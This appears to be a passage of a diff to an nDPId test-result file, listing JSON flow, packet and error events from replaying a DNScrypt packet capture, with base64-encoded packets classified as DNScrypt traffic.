AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00880{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":2,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":2,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946735705348955,"flow_src_last_pkt_time":946735705348955,"flow_dst_last_pkt_time":946735705348955,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946735705348955,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.56.228.45","src_port":45722,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00226{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":3,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946735705348966} +00325{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946735705348966,"packet_id":3,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946735705348966} 00421{"packet_event_id":1,"packet_event_name":"packet","packet_id":3,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946735705348955,"pkt":"REREREREZmZmZmZmCABFAABQCgAAub0RuMEKAAABlTjkLQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00775{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":3,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946735705348987,"flow_src_last_pkt_time":946735705348987,"flow_dst_last_pkt_time":946735705348987,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946735705348987,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.56.228.45","src_port":35495,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02480{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_src_last_pkt_time":946735705348987,"flow_dst_last_pkt_time":946735705348987,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946735705348987,"pkt":"REREREREZmZmZmZmCABFAAXcCgEgAL0Rk+0KAAABlTjkLYqnAbsGBJRGf0YBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0yAAAQAAEAAAAAAAAAAAAFwgAMBb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00880{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":3,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946735705348987,"flow_src_last_pkt_time":946735705348987,"flow_dst_last_pkt_time":946735705348987,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946735705348987,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.56.228.45","src_port":35495,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00226{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":5,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946735705348993} +00325{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946735705348993,"packet_id":5,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946735705348993} 00421{"packet_event_id":1,"packet_event_name":"packet","packet_id":5,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946735705348987,"pkt":"REREREREZmZmZmZmCABFAABQCgEAub0RuMAKAAABlTjkLQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00772{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":4,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946735705349002,"flow_src_last_pkt_time":946735705349002,"flow_dst_last_pkt_time":946735705349002,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946735705349002,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.56.228.45","src_port":33565,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01197{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_src_last_pkt_time":946735705349002,"flow_dst_last_pkt_time":946735705349002,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946735705349002,"pkt":"REREREREZmZmZmZmCABFAAIcCgJAAL0Rd6wKAAABlTjkLYMdAbsCCDw8f0UBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0yAAAQAAEAAAAAAAAAAAABxgAMAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} @@ -19,7 +19,7 @@ 00775{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":5,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946735705349019,"flow_src_last_pkt_time":946735705349019,"flow_dst_last_pkt_time":946735705349019,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946735705349019,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.56.228.45","src_port":35228,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02480{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_src_last_pkt_time":946735705349019,"flow_dst_last_pkt_time":946735705349019,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946735705349019,"pkt":"REREREREZmZmZmZmCABFAAXcCgMgAL0Rk+sKAAABlTjkLYmcAbsGBJVVf0IBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0yAAAQAAEAAAAAAAAAAAAFwgAMBb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00880{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":7,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":5,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946735705349019,"flow_src_last_pkt_time":946735705349019,"flow_dst_last_pkt_time":946735705349019,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946735705349019,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.56.228.45","src_port":35228,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00226{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":8,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946735705349026} +00325{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946735705349026,"packet_id":8,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946735705349026} 00421{"packet_event_id":1,"packet_event_name":"packet","packet_id":8,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946735705349019,"pkt":"REREREREZmZmZmZmCABFAABQCgMAub0RuL4KAAABlTjkLQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00772{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":6,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946735705349060,"flow_src_last_pkt_time":946735705349060,"flow_dst_last_pkt_time":946735705349060,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946735705349060,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.56.228.45","src_port":60301,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01197{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_src_last_pkt_time":946735705349060,"flow_dst_last_pkt_time":946735705349060,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946735705349060,"pkt":"REREREREZmZmZmZmCABFAAIcCgRAAL0Rd6oKAAABlTjkLeuNAbsCCDw8f0MBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0yAAAQAAEAAAAAAAAAAAABxgAMAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} @@ -43,17 +43,17 @@ 00778{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":19,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":10,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739299327323,"flow_src_last_pkt_time":946739299327323,"flow_dst_last_pkt_time":946739299327323,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739299327323,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"62.210.180.71","src_port":43748,"dst_port":1053,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02482{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_src_last_pkt_time":946739299327323,"flow_dst_last_pkt_time":946739299327323,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739299327323,"pkt":"REREREREZmZmZmZmCABFAAXcFy0gAL0RDQ4KAAABPtK0R6rkBB0GBCq4ByYBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANuczIIaXJpc2VkZW4CZnIAABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA